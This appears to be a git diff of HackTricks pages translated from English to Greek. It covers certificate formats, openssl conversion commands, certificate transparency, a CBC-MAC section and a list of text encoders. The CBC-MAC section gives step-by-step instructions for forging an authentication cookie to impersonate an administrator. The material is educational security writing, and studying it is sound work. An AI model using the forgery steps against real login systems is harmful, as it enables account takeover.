# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Διαφορά μεταξύ OCSP και CRL Distribution Points**
|
||||
|
||||
### **Difference between OCSP and CRL Distribution Points**
|
||||
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRLs μπορούν να περιλαμβάνουν έως 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
|
||||
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
### **Τι είναι η Διαφάνεια Πιστοποιητικών**
|
||||
|
||||
### **What is Certificate Transparency**
|
||||
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με τα πιστοποιητικά, διασφαλίζοντας ότι η έκδοση και η ύπαρξη των SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι:
|
||||
|
||||
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
|
||||
- Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
|
||||
- Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα.
|
||||
- Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά.
|
||||
|
||||
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
|
||||
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
|
||||
- Safeguarding users against fraudulent certificates.
|
||||
#### **Καταγραφές Πιστοποιητικών**
|
||||
|
||||
#### **Certificate Logs**
|
||||
Οι καταγραφές πιστοποιητικών είναι δημόσια ελεγχόμενα, μόνο προσθετικά αρχεία πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα.
|
||||
|
||||
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
|
||||
#### **Ερώτημα**
|
||||
|
||||
#### **Query**
|
||||
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh).
|
||||
|
||||
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
|
||||
Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους.
|
||||
|
||||
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
|
||||
## **Μορφές**
|
||||
|
||||
## **Formats**
|
||||
### **Μορφή PEM**
|
||||
|
||||
### **PEM Format**
|
||||
- Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά.
|
||||
- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
|
||||
- Κοινές επεκτάσεις: .cer, .crt, .pem, .key.
|
||||
- Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές.
|
||||
|
||||
- Most widely used format for certificates.
|
||||
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
|
||||
- Common extensions: .cer, .crt, .pem, .key.
|
||||
- Primarily used by Apache and similar servers.
|
||||
### **Μορφή DER**
|
||||
|
||||
### **DER Format**
|
||||
- Μια δυαδική μορφή πιστοποιητικών.
|
||||
- Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM.
|
||||
- Κοινές επεκτάσεις: .cer, .der.
|
||||
- Συχνά χρησιμοποιείται με πλατφόρμες Java.
|
||||
|
||||
- A binary format of certificates.
|
||||
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
|
||||
- Common extensions: .cer, .der.
|
||||
- Often used with Java platforms.
|
||||
### **Μορφή P7B/PKCS#7**
|
||||
|
||||
### **P7B/PKCS#7 Format**
|
||||
- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
|
||||
- Περιέχει μόνο πιστοποιητικά και πιστοποιητικά αλυσίδας, εξαιρώντας το ιδιωτικό κλειδί.
|
||||
- Υποστηρίζεται από Microsoft Windows και Java Tomcat.
|
||||
|
||||
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
|
||||
- Contains only certificates and chain certificates, excluding the private key.
|
||||
- Supported by Microsoft Windows and Java Tomcat.
|
||||
### **Μορφή PFX/P12/PKCS#12**
|
||||
|
||||
### **PFX/P12/PKCS#12 Format**
|
||||
- Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
|
||||
- Επεκτάσεις: .pfx, .p12.
|
||||
- Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών.
|
||||
|
||||
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
|
||||
- Extensions: .pfx, .p12.
|
||||
- Mainly used on Windows for certificate import and export.
|
||||
### **Μετατροπή Μορφών**
|
||||
|
||||
### **Converting Formats**
|
||||
|
||||
**PEM conversions** are essential for compatibility:
|
||||
|
||||
- **x509 to PEM**
|
||||
**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα:
|
||||
|
||||
- **x509 σε PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PEM to DER**
|
||||
|
||||
- **PEM σε DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
|
||||
- **DER to PEM**
|
||||
|
||||
- **DER σε PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PEM to P7B**
|
||||
|
||||
- **PEM σε P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
|
||||
- **PKCS7 to PEM**
|
||||
|
||||
- **PKCS7 σε PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows:
|
||||
|
||||
**PFX conversions** are crucial for managing certificates on Windows:
|
||||
|
||||
- **PFX to PEM**
|
||||
|
||||
- **PFX σε PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PFX to PKCS#8** involves two steps:
|
||||
1. Convert PFX to PEM
|
||||
|
||||
- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα:
|
||||
1. Μετατροπή PFX σε PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
|
||||
2. Convert PEM to PKCS8
|
||||
|
||||
2. Μετατροπή PEM σε PKCS8
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
|
||||
- **P7B to PFX** also requires two commands:
|
||||
1. Convert P7B to CER
|
||||
|
||||
- **P7B σε PFX** απαιτεί επίσης δύο εντολές:
|
||||
1. Μετατροπή P7B σε CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
|
||||
2. Convert CER and Private Key to PFX
|
||||
|
||||
2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
|
||||
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
|
||||
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
|
||||
|
||||
- **ASN.1 (DER/PEM) επεξεργασία** (λειτουργεί με πιστοποιητικά ή σχεδόν οποιαδήποτε άλλη δομή ASN.1):
|
||||
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
|
||||
```bash
|
||||
git clone https://github.com/wllm-rbnt/asn1template.git
|
||||
```
|
||||
|
||||
2. Convert DER/PEM to OpenSSL's generation format
|
||||
|
||||
2. Μετατροπή DER/PEM στη μορφή παραγωγής του OpenSSL
|
||||
```bash
|
||||
asn1template/asn1template.pl certificatename.der > certificatename.tpl
|
||||
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
|
||||
```
|
||||
|
||||
3. Edit certificatename.tpl according to your requirements
|
||||
|
||||
3. Επεξεργαστείτε το certificatename.tpl σύμφωνα με τις απαιτήσεις σας
|
||||
```bash
|
||||
vim certificatename.tpl
|
||||
```
|
||||
|
||||
4. Rebuild the modified certificate
|
||||
|
||||
4. Ανακατασκευάστε το τροποποιημένο πιστοποιητικό
|
||||
```bash
|
||||
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
|
||||
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
|
||||
---
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,54 +2,54 @@
|
||||
|
||||
# CBC
|
||||
|
||||
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
|
||||
Αν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλεις να προσποιηθείς το όνομα χρήστη "**admin**". Τότε, μπορείς να δημιουργήσεις το όνομα χρήστη **"bdmin"** και να **bruteforce** το **πρώτο byte** του cookie.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, διασφαλίζοντας ότι η αλλαγή ακόμη και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια απρόβλεπτη αλλαγή στο τελευταίο μπλοκ των κρυπτογραφημένων δεδομένων. Για να γίνει ή να αντιστραφεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, διασφαλίζοντας την ασφάλεια.
|
||||
|
||||
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks using a secret key k and a block cipher E:
|
||||
Για να υπολογίσεις το CBC-MAC του μηνύματος m, κρυπτογραφείς το m σε λειτουργία CBC με μηδενικό αρχικοποιητικό διανύσμα και κρατάς το τελευταίο μπλοκ. Η παρακάτω εικόνα σκιαγραφεί τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ χρησιμοποιώντας ένα μυστικό κλειδί k και έναν μπλοκ κρυπτογράφο E:
|
||||
|
||||
.svg/570px-CBC-MAC_structure_(en).svg.png>)
|
||||
|
||||
# Vulnerability
|
||||
|
||||
With CBC-MAC usually the **IV used is 0**.\
|
||||
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
|
||||
Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\
|
||||
Αυτό είναι ένα πρόβλημα γιατί 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι:
|
||||
|
||||
- `E(m1 XOR 0) = s1`
|
||||
- `E(m2 XOR 0) = s2`
|
||||
|
||||
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
|
||||
Τότε ένα μήνυμα που αποτελείται από τα m1 και m2 που συνδυάζονται (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32):
|
||||
|
||||
- `E(m1 XOR 0) = s31 = s1`
|
||||
- `E(m2 XOR s1) = s32`
|
||||
|
||||
**Which is possible to calculate without knowing the key of the encryption.**
|
||||
**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζεις το κλειδί της κρυπτογράφησης.**
|
||||
|
||||
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
|
||||
Φαντάσου ότι κρυπτογραφείς το όνομα **Administrator** σε **8bytes** μπλοκ:
|
||||
|
||||
- `Administ`
|
||||
- `rator\00\00\00`
|
||||
|
||||
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
|
||||
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
|
||||
now, you can use s32 as the signature of the full name **Administrator**.
|
||||
Μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται **Administ** (m1) και να ανακτήσεις την υπογραφή (s1).\
|
||||
Τότε, μπορείς να δημιουργήσεις ένα όνομα χρήστη που είναι το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)` που είναι s32.\
|
||||
Τώρα, μπορείς να χρησιμοποιήσεις το s32 ως την υπογραφή του πλήρους ονόματος **Administrator**.
|
||||
|
||||
### Summary
|
||||
|
||||
1. Get the signature of username **Administ** (m1) which is s1
|
||||
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
|
||||
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
|
||||
1. Πάρε την υπογραφή του ονόματος χρήστη **Administ** (m1) που είναι s1
|
||||
2. Πάρε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR s1 XOR 0** που είναι s32**.**
|
||||
3. Ρύθμισε το cookie σε s32 και θα είναι ένα έγκυρο cookie για τον χρήστη **Administrator**.
|
||||
|
||||
# Attack Controlling IV
|
||||
|
||||
If you can control the used IV the attack could be very easy.\
|
||||
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
|
||||
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
|
||||
Αν μπορείς να ελέγξεις το χρησιμοποιούμενο IV, η επίθεση μπορεί να είναι πολύ εύκολη.\
|
||||
Αν το cookie είναι απλώς το όνομα χρήστη που έχει κρυπτογραφηθεί, για να προσποιηθείς τον χρήστη "**administrator**" μπορείς να δημιουργήσεις τον χρήστη "**Administrator**" και θα πάρεις το cookie του.\
|
||||
Τώρα, αν μπορείς να ελέγξεις το IV, μπορείς να αλλάξεις το πρώτο Byte του IV έτσι ώστε **IV\[0] XOR "A" == IV'\[0] XOR "a"** και να αναγεννήσεις το cookie για τον χρήστη **Administrator.** Αυτό το cookie θα είναι έγκυρο για **να προσποιηθείς** τον χρήστη **administrator** με το αρχικό **IV**.
|
||||
|
||||
## References
|
||||
|
||||
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
Περισσότερες πληροφορίες στο [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
## Encoders
|
||||
|
||||
Most of encoded data can be decoded with these 2 ressources:
|
||||
Οι περισσότερες από τις κωδικοποιημένες δεδομένες μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους:
|
||||
|
||||
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
|
||||
### Substitution Autosolvers
|
||||
|
||||
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό!
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
|
||||
@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources:
|
||||
|
||||
### Base Encodings Autosolver
|
||||
|
||||
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
- **Ascii85**
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base26** \[_A-Z_]
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- **Base32** \[_A-Z2-7=_]
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
- `59DPVDGPCVKEUPCPVD`
|
||||
- `59DPVDGPCVKEUPCPVD`
|
||||
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- **Base62** \[_0-9A-Za-z_]
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- **Base64** \[_A-Za-z0-9+/=_]
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- **Base100** \[]
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- **Base122** \[]
|
||||
- `4F ˂r0Xmvc`
|
||||
- `4F ˂r0Xmvc`
|
||||
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- **ESAB46** \[]
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- **MEGAN45** \[]
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- **TIGO3FX** \[]
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- **TRIPO5** \[]
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- **FERON74** \[]
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- **GILA7** \[]
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- **Citrix CTX1** \[]
|
||||
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### Morse
|
||||
|
||||
### Μορς
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
|
||||
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak keyboard
|
||||
|
||||
### Πληκτρολόγιο Dvorak
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
|
||||
